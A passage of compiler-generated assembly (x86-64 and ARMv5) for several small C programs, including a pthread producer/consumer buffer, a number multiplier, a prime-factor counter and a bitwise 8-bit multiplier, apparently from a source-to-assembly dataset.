ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L994
.L1682:
ldr r3, .L1695+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L994:
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
str r3, [fp, #-32] @ float
ldr r2, .L1695
ldr r3, [fp, #-92] @ float
str r3, [r2] @ float
ldr r2, .L1695+8
ldr r3, [fp, #-88] @ float
str r3, [r2] @ float
ldr r2, .L1695+60
ldr r3, [fp, #-84] @ float
str r3, [r2] @ float
ldr r2, .L1695+64
ldr r3, [fp, #-80] @ float
str r3, [r2] @ float
ldr r2, .L1695+16
ldr r3, [fp, #-76] @ float
str r3, [r2] @ float
ldr r2, .L1695+24
ldr r3, [fp, #-72] @ float
str r3, [r2] @ float
ldr r2, .L1695+32
ldr r3, [fp, #-68] @ float
str r3, [r2] @ float
ldr r2, .L1695+36
ldr r3, [fp, #-64] @ float
str r3, [r2] @ float
ldr r2, .L1695+68
ldr r3, [fp, #-60] @ float
str r3, [r2] @ float
ldr r2, .L1695+44
ldr r3, [fp, #-56] @ float
str r3, [r2] @ float
ldr r2, .L1695+72
ldr r3, [fp, #-52] @ float
str r3, [r2] @ float
ldr r2, .L1695+76
ldr r3, [fp, #-48] @ float
str r3, [r2] @ float
ldr r2, .L1695+52
ldr r3, [fp, #-44] @ float
str r3, [r2] @ float
ldr r2, .L1695+80
ldr r3, [fp, #-40] @ float
str r3, [r2] @ float
ldr r2, .L1695+84
ldr r3, [fp, #-36] @ float
str r3, [r2] @ float
ldr r2, .L1695+88
ldr r3, [fp, #-32] @ float
str r3, [r2] @ float
b .L1010
.L1696:
.align 2
.L1695:
.word x_0
.word 1075314688
.word x_1
.word 1076625408
.word x_4
.word 1072693248
.word x_5
.word 1075838976
.word x_6
.word x_7
.word 1075576832
.word x_9
.word 1076363264
.word x_12
.word 1075052544
.word x_2
.word x_3
.word x_8
.word x_10
.word x_11
.word x_13
.word x_14
.word x_15
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "286084.c"
.intel_syntax noprefix
.text
.globl num_of_items
.data
.align 4
.type num_of_items, @object
.size num_of_items, 4
num_of_items:
.long 10
.globl mtx
.bss
.align 32
.type mtx, @object
.size mtx, 40
mtx:
.zero 40
.globl cond_nonempty
.align 32
.type cond_nonempty, @object
.size cond_nonempty, 48
cond_nonempty:
.zero 48
.globl cond_nonfull
.align 32
.type cond_nonfull, @object
.size cond_nonfull, 48
cond_nonfull:
.zero 48
.globl pool
.align 16
.type pool, @object
.size pool, 24
pool:
.zero 24
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov DWORD PTR -36[rbp], edi
mov QWORD PTR -48[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdi, pool[rip]
call init_pool
mov esi, 0
lea rdi, mtx[rip]
call pthread_mutex_init@PLT
mov esi, 0
lea rdi, cond_nonempty[rip]
call pthread_cond_init@PLT
mov esi, 0
lea rdi, cond_nonfull[rip]
call pthread_cond_init@PLT
lea rax, -24[rbp]
mov ecx, 0
lea rdx, consumer[rip]
mov esi, 0
mov rdi, rax
call pthread_create@PLT
lea rax, -16[rbp]
mov ecx, 0
lea rdx, producer[rip]
mov esi, 0
mov rdi, rax
call pthread_create@PLT
mov rax, QWORD PTR -16[rbp]
mov esi, 0
mov rdi, rax
call pthread_join@PLT
mov rax, QWORD PTR -24[rbp]
mov esi, 0
mov rdi, rax
call pthread_join@PLT
lea rdi, cond_nonempty[rip]
call pthread_cond_destroy@PLT
lea rdi, cond_nonfull[rip]
call pthread_cond_destroy@PLT
lea rdi, mtx[rip]
call pthread_mutex_destroy@PLT
mov eax, 0
mov rdx, QWORD PTR -8[rbp]
sub rdx, QWORD PTR fs:40
je .L3
call __stack_chk_fail@PLT
.L3:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.globl init_pool
.type init_pool, @function
init_pool:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
mov DWORD PTR 12[rax], 0
mov rax, QWORD PTR -8[rbp]
mov DWORD PTR 16[rax], -1
mov rax, QWORD PTR -8[rbp]
mov DWORD PTR 20[rax], 0
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size init_pool, .-init_pool
.globl push
.type push, @function
push:
.LFB2:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov DWORD PTR -12[rbp], esi
lea rdi, mtx[rip]
call pthread_mutex_lock@PLT
jmp .L6
.L7:
lea rsi, mtx[rip]
lea rdi, cond_nonfull[rip]
call pthread_cond_wait@PLT
.L6:
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR 20[rax]
cmp eax, 2
jg .L7
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR 16[rax]
lea edx, 1[rax]
movsx rax, edx
imul rax, rax, 1431655766
shr rax, 32
mov ecx, edx
sar ecx, 31
sub eax, ecx
mov ecx, eax
add ecx, ecx
add ecx, eax
mov eax, edx
sub eax, ecx
mov rdx, QWORD PTR -8[rbp]
mov DWORD PTR 16[rdx], eax
mov rax, QWORD PTR -8[rbp]
mov edx, DWORD PTR 16[rax]
mov rax, QWORD PTR -8[rbp]
movsx rdx, edx
mov ecx, DWORD PTR -12[rbp]
mov DWORD PTR [rax+rdx*4], ecx
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR 20[rax]
lea edx, 1[rax]
mov rax, QWORD PTR -8[rbp]
mov DWORD PTR 20[rax], edx
lea rdi, mtx[rip]
call pthread_mutex_unlock@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE2:
.size push, .-push
.globl pop
.type pop, @function
pop:
.LFB3:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -4[rbp], 0
lea rdi, mtx[rip]
call pthread_mutex_lock@PLT
jmp .L9
.L10:
lea rsi, mtx[rip]
lea rdi, cond_nonempty[rip]
call pthread_cond_wait@PLT
.L9:
mov rax, QWORD PTR -24[rbp]
mov eax, DWORD PTR 20[rax]
test eax, eax
jle .L10
mov rax, QWORD PTR -24[rbp]
mov edx, DWORD PTR 12[rax]
mov rax, QWORD PTR -24[rbp]
movsx rdx, edx
mov eax, DWORD PTR [rax+rdx*4]
mov DWORD PTR -4[rbp], eax
mov rax, QWORD PTR -24[rbp]
mov eax, DWORD PTR 12[rax]
lea edx, 1[rax]
movsx rax, edx
imul rax, rax, 1431655766
shr rax, 32
mov ecx, edx
sar ecx, 31
sub eax, ecx
mov ecx, eax
add ecx, ecx
add ecx, eax
mov eax, edx
sub eax, ecx
mov rdx, QWORD PTR -24[rbp]
mov DWORD PTR 12[rdx], eax
mov rax, QWORD PTR -24[rbp]
mov eax, DWORD PTR 20[rax]
lea edx, -1[rax]
mov rax, QWORD PTR -24[rbp]
mov DWORD PTR 20[rax], edx
lea rdi, mtx[rip]
call pthread_mutex_unlock@PLT
mov eax, DWORD PTR -4[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE3:
.size pop, .-pop
.section .rodata
.LC0:
.string "producer: %d\n"
.text
.globl producer
.type producer, @function
producer:
.LFB4:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
jmp .L13
.L14:
mov eax, DWORD PTR num_of_items[rip]
mov esi, eax
lea rdi, pool[rip]
call push
mov eax, DWORD PTR num_of_items[rip]
mov esi, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR num_of_items[rip]
sub eax, 1
mov DWORD PTR num_of_items[rip], eax
lea rdi, cond_nonempty[rip]
call pthread_cond_broadcast@PLT
.L13:
mov eax, DWORD PTR num_of_items[rip]
test eax, eax
jg .L14
mov edi, 0
call pthread_exit@PLT
.cfi_endproc
.LFE4:
.size producer, .-producer
.section .rodata
.LC1:
.string "consumer: %d\n"
.text
.globl consumer
.type consumer, @function
consumer:
.LFB5:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
jmp .L16
.L17:
lea rdi, pool[rip]
call pop
mov esi, eax
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
lea rdi, cond_nonfull[rip]
call pthread_cond_broadcast@PLT
mov edi, 500000
call usleep@PLT
.L16:
mov eax, DWORD PTR num_of_items[rip]
test eax, eax
jg .L17
mov eax, DWORD PTR pool[rip+20]
test eax, eax
jg .L17
mov edi, 0
call pthread_exit@PLT
.cfi_endproc
.LFE5:
.size consumer, .-consumer
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "286084.c"
.text
.global num_of_items
.data
.align 2
.type num_of_items, %object
.size num_of_items, 4
num_of_items:
.word 10
.comm mtx,24,4
.comm cond_nonempty,48,8
.comm cond_nonfull,48,8
.comm pool,24,4
.section .rodata
.align 2
.LC0:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-24]
str r1, [fp, #-28]
ldr r3, .L4
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r0, .L4+4
bl init_pool
mov r1, #0
ldr r0, .L4+8
bl pthread_mutex_init
mov r1, #0
ldr r0, .L4+12
bl pthread_cond_init
mov r1, #0
ldr r0, .L4+16
bl pthread_cond_init
sub r0, fp, #16
mov r3, #0
ldr r2, .L4+20
mov r1, #0
bl pthread_create
sub r0, fp, #12
mov r3, #0
ldr r2, .L4+24
mov r1, #0
bl pthread_create
ldr r3, [fp, #-12]
mov r1, #0
mov r0, r3
bl pthread_join
ldr r3, [fp, #-16]
mov r1, #0
mov r0, r3
bl pthread_join
ldr r0, .L4+12
bl pthread_cond_destroy
ldr r0, .L4+16
bl pthread_cond_destroy
ldr r0, .L4+8
bl pthread_mutex_destroy
mov r3, #0
ldr r2, .L4
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L3
bl __stack_chk_fail
.L3:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L5:
.align 2
.L4:
.word .LC0
.word pool
.word mtx
.word cond_nonempty
.word cond_nonfull
.word consumer
.word producer
.size main, .-main
.align 2
.global init_pool
.syntax unified
.arm
.fpu softvfp
.type init_pool, %function
init_pool:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, [fp, #-8]
mov r2, #0
str r2, [r3, #12]
ldr r3, [fp, #-8]
mvn r2, #0
str r2, [r3, #16]
ldr r3, [fp, #-8]
mov r2, #0
str r2, [r3, #20]
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size init_pool, .-init_pool
.align 2
.global push
.syntax unified
.arm
.fpu softvfp
.type push, %function
push:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r0, .L10
bl pthread_mutex_lock
b .L8
.L9:
ldr r1, .L10
ldr r0, .L10+4
bl pthread_cond_wait
.L8:
ldr r3, [fp, #-8]
ldr r3, [r3, #20]
cmp r3, #2
bgt .L9
ldr r3, [fp, #-8]
ldr r3, [r3, #16]
add r1, r3, #1
ldr r3, .L10+8
smull r0, r2, r3, r1
asr r3, r1, #31
sub r2, r2, r3
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
sub r2, r1, r3
ldr r3, [fp, #-8]
str r2, [r3, #16]
ldr r3, [fp, #-8]
ldr r2, [r3, #16]
ldr r3, [fp, #-8]
ldr r1, [fp, #-12]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-8]
ldr r3, [r3, #20]
add r2, r3, #1
ldr r3, [fp, #-8]
str r2, [r3, #20]
ldr r0, .L10
bl pthread_mutex_unlock
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L11:
.align 2
.L10:
.word mtx
.word cond_nonfull
.word 1431655766
.size push, .-push
.align 2
.global pop
.syntax unified
.arm
.fpu softvfp
.type pop, %function
pop:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
mov r3, #0
str r3, [fp, #-8]
ldr r0, .L16
bl pthread_mutex_lock
b .L13
.L14:
ldr r1, .L16
ldr r0, .L16+4
bl pthread_cond_wait
.L13:
ldr r3, [fp, #-16]
ldr r3, [r3, #20]
cmp r3, #0
ble .L14
ldr r3, [fp, #-16]
ldr r2, [r3, #12]
ldr r3, [fp, #-16]
ldr r3, [r3, r2, lsl #2]
str r3, [fp, #-8]
ldr r3, [fp, #-16]
ldr r3, [r3, #12]
add r1, r3, #1
ldr r3, .L16+8
smull r0, r2, r3, r1
asr r3, r1, #31
sub r2, r2, r3
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
sub r2, r1, r3
ldr r3, [fp, #-16]
str r2, [r3, #12]
ldr r3, [fp, #-16]
ldr r3, [r3, #20]
sub r2, r3, #1
ldr r3, [fp, #-16]
str r2, [r3, #20]
ldr r0, .L16
bl pthread_mutex_unlock
ldr r3, [fp, #-8]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L17:
.align 2
.L16:
.word mtx
.word cond_nonempty
.word 1431655766
.size pop, .-pop
.section .rodata
.align 2
.LC1:
.ascii "producer: %d\012\000"
.text
.align 2
.global producer
.syntax unified
.arm
.fpu softvfp
.type producer, %function
producer:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
b .L19
.L20:
ldr r3, .L21
ldr r3, [r3]
mov r1, r3
ldr r0, .L21+4
bl push
ldr r3, .L21
ldr r3, [r3]
mov r1, r3
ldr r0, .L21+8
bl printf
ldr r3, .L21
ldr r3, [r3]
sub r3, r3, #1
ldr r2, .L21
str r3, [r2]
ldr r0, .L21+12
bl pthread_cond_broadcast
.L19:
ldr r3, .L21
ldr r3, [r3]
cmp r3, #0
bgt .L20
mov r0, #0
bl pthread_exit
.L22:
.align 2
.L21:
.word num_of_items
.word pool
.word .LC1
.word cond_nonempty
.size producer, .-producer
.section .rodata
.align 2
.LC2:
.ascii "consumer: %d\012\000"
.text
.align 2
.global consumer
.syntax unified
.arm
.fpu softvfp
.type consumer, %function
consumer:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
b .L24
.L25:
ldr r0, .L26
bl pop
mov r3, r0
mov r1, r3
ldr r0, .L26+4
bl printf
ldr r0, .L26+8
bl pthread_cond_broadcast
ldr r0, .L26+12
bl usleep
.L24:
ldr r3, .L26+16
ldr r3, [r3]
cmp r3, #0
bgt .L25
ldr r3, .L26
ldr r3, [r3, #20]
cmp r3, #0
bgt .L25
mov r0, #0
bl pthread_exit
.L27:
.align 2
.L26:
.word pool
.word .LC2
.word cond_nonfull
.word 500000
.word num_of_items
.size consumer, .-consumer
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "740951.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "Enter two numbers: "
.LC1:
.string "%lf %lf"
.LC2:
.string "Product = %.2lf"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
lea rdx, -24[rbp]
lea rax, -32[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
movsd xmm1, QWORD PTR -32[rbp]
movsd xmm0, QWORD PTR -24[rbp]
mulsd xmm0, xmm1
movsd QWORD PTR -16[rbp], xmm0
mov rax, QWORD PTR -16[rbp]
movq xmm0, rax
lea rdi, .LC2[rip]
mov eax, 1
call printf@PLT
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L3
call __stack_chk_fail@PLT
.L3:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "740951.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "Enter two numbers: \000"
.align 2
.LC1:
.ascii "%lf %lf\000"
.global __aeabi_dmul
.align 2
.LC2:
.ascii "Product = %.2lf\000"
.align 2
.LC3:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
ldr r3, .L4
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r0, .L4+4
bl printf
sub r2, fp, #28
sub r3, fp, #36
mov r1, r3
ldr r0, .L4+8
bl __isoc99_scanf
sub r1, fp, #36
ldmia r1, {r0-r1}
sub r3, fp, #28
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
sub r3, fp, #20
ldmia r3, {r2-r3}
ldr r0, .L4+12
bl printf
mov r3, #0
ldr r2, .L4
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L3
bl __stack_chk_fail
.L3:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L5:
.align 2
.L4:
.word .LC3
.word .LC0
.word .LC1
.word .LC2
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "833288.c"
.intel_syntax noprefix
.text
.globl isPrime
.type isPrime, @function
isPrime:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -20[rbp], edi
mov BYTE PTR -5[rbp], 1
cmp DWORD PTR -20[rbp], 1
jg .L2
mov eax, 0
jmp .L3
.L2:
mov DWORD PTR -4[rbp], 2
jmp .L4
.L6:
mov eax, DWORD PTR -20[rbp]
cdq
idiv DWORD PTR -4[rbp]
mov eax, edx
test eax, eax
jne .L5
mov BYTE PTR -5[rbp], 0
mov eax, 0
jmp .L3
.L5:
add DWORD PTR -4[rbp], 1
.L4:
mov eax, DWORD PTR -20[rbp]
mov edx, eax
shr edx, 31
add eax, edx
sar eax
cmp DWORD PTR -4[rbp], eax
jle .L6
mov eax, 1
.L3:
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size isPrime, .-isPrime
.section .rodata
.LC0:
.string "%d"
.LC1:
.string "%ld"
.LC2:
.string "%d\n"
.text
.globl main
.type main, @function
main:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rax, -32[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
jmp .L8
.L14:
lea rax, -16[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov DWORD PTR -28[rbp], 0
jmp .L9
.L13:
mov DWORD PTR -24[rbp], 0
mov DWORD PTR -20[rbp], 0
jmp .L10
.L12:
mov eax, DWORD PTR -20[rbp]
mov edi, eax
call isPrime
test al, al
je .L11
mov rax, QWORD PTR -16[rbp]
mov edx, DWORD PTR -20[rbp]
movsx rcx, edx
cqo
idiv rcx
mov QWORD PTR -16[rbp], rax
add DWORD PTR -24[rbp], 1
.L11:
add DWORD PTR -20[rbp], 1
.L10:
mov rax, QWORD PTR -16[rbp]
test rax, rax
jne .L12
mov eax, DWORD PTR -24[rbp]
sub eax, 1
mov esi, eax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
add DWORD PTR -28[rbp], 1
.L9:
mov eax, DWORD PTR -28[rbp]
movsx rdx, eax
mov rax, QWORD PTR -16[rbp]
cmp rdx, rax
jl .L13
.L8:
mov eax, DWORD PTR -32[rbp]
lea edx, -1[rax]
mov DWORD PTR -32[rbp], edx
test eax, eax
jne .L14
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L16
call __stack_chk_fail@PLT
.L16:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "833288.c"
.text
.global __aeabi_idivmod
.align 2
.global isPrime
.syntax unified
.arm
.fpu softvfp
.type isPrime, %function
isPrime:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
mov r3, #1
strb r3, [fp, #-9]
ldr r3, [fp, #-16]
cmp r3, #1
bgt .L2
mov r3, #0
b .L3
.L2:
mov r3, #2
str r3, [fp, #-8]
b .L4
.L6:
ldr r3, [fp, #-16]
ldr r1, [fp, #-8]
mov r0, r3
bl __aeabi_idivmod
mov r3, r1
cmp r3, #0
bne .L5
mov r3, #0
strb r3, [fp, #-9]
mov r3, #0
b .L3
.L5:
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L4:
ldr r3, [fp, #-16]
lsr r2, r3, #31
add r3, r2, r3
asr r3, r3, #1
mov r2, r3
ldr r3, [fp, #-8]
cmp r3, r2
ble .L6
mov r3, #1
.L3:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size isPrime, .-isPrime
.section .rodata
.align 2
.LC0:
.ascii "%d\000"
.align 2
.LC1:
.ascii "%ld\000"
.global __aeabi_idiv
.align 2
.LC2:
.ascii "%d\012\000"
.align 2
.LC3:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
ldr r3, .L17
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r3, fp, #28
mov r1, r3
ldr r0, .L17+4
bl __isoc99_scanf
b .L8
.L14:
sub r3, fp, #24
mov r1, r3
ldr r0, .L17+8
bl __isoc99_scanf
mov r3, #0
str r3, [fp, #-20]
b .L9
.L13:
mov r3, #0
str r3, [fp, #-16]
mov r3, #0
str r3, [fp, #-12]
b .L10
.L12:
ldr r0, [fp, #-12]
bl isPrime
mov r3, r0
cmp r3, #0
beq .L11
ldr r3, [fp, #-24]
ldr r1, [fp, #-12]
mov r0, r3
bl __aeabi_idiv
mov r3, r0
str r3, [fp, #-24]
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L11:
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L10:
ldr r3, [fp, #-24]
cmp r3, #0
bne .L12
ldr r3, [fp, #-16]
sub r3, r3, #1
mov r1, r3
ldr r0, .L17+12
bl printf
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L9:
ldr r3, [fp, #-24]
ldr r2, [fp, #-20]
cmp r2, r3
blt .L13
.L8:
ldr r3, [fp, #-28]
sub r2, r3, #1
str r2, [fp, #-28]
cmp r3, #0
bne .L14
mov r3, #0
ldr r2, .L17
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L16
bl __stack_chk_fail
.L16:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L18:
.align 2
.L17:
.word .LC3
.word .LC0
.word .LC1
.word .LC2
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "153409.c"
.intel_syntax noprefix
.text
.globl mul8_364
.type mul8_364, @function
mul8_364:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 96
mov edx, edi
mov eax, esi
mov BYTE PTR -212[rbp], dl
mov BYTE PTR -216[rbp], al
mov WORD PTR -2[rbp], 0
movzx eax, BYTE PTR -212[rbp]
and eax, 1
mov BYTE PTR -195[rbp], al
movzx eax, BYTE PTR -212[rbp]
shr al
and eax, 1
mov BYTE PTR -194[rbp], al
movzx eax, BYTE PTR -212[rbp]
shr al, 2
and eax, 1
mov BYTE PTR -193[rbp], al
movzx eax, BYTE PTR -212[rbp]
shr al, 3
and eax, 1
mov BYTE PTR -192[rbp], al
movzx eax, BYTE PTR -212[rbp]
shr al, 4
and eax, 1
mov BYTE PTR -191[rbp], al
movzx eax, BYTE PTR -212[rbp]
shr al, 5
and eax, 1
mov BYTE PTR -190[rbp], al
movzx eax, BYTE PTR -212[rbp]
shr al, 6
and eax, 1
mov BYTE PTR -189[rbp], al
movzx eax, BYTE PTR -212[rbp]
shr al, 7
mov BYTE PTR -188[rbp], al
movzx eax, BYTE PTR -216[rbp]
and eax, 1
mov BYTE PTR -187[rbp], al
movzx eax, BYTE PTR -216[rbp]
shr al
and eax, 1
mov BYTE PTR -186[rbp], al
movzx eax, BYTE PTR -216[rbp]
shr al, 2
and eax, 1
mov BYTE PTR -185[rbp], al
movzx eax, BYTE PTR -216[rbp]
shr al, 3
and eax, 1
mov BYTE PTR -184[rbp], al
movzx eax, BYTE PTR -216[rbp]
shr al, 4
and eax, 1
mov BYTE PTR -183[rbp], al
movzx eax, BYTE PTR -216[rbp]
shr al, 5
and eax, 1
mov BYTE PTR -182[rbp], al
movzx eax, BYTE PTR -216[rbp]
shr al, 6
and eax, 1
mov BYTE PTR -181[rbp], al
movzx eax, BYTE PTR -216[rbp]
shr al, 7
mov BYTE PTR -180[rbp], al
movzx eax, BYTE PTR -195[rbp]
and al, BYTE PTR -187[rbp]
mov BYTE PTR -179[rbp], al
movzx eax, BYTE PTR -194[rbp]
and al, BYTE PTR -187[rbp]
mov BYTE PTR -178[rbp], al
movzx eax, BYTE PTR -193[rbp]
and al, BYTE PTR -187[rbp]
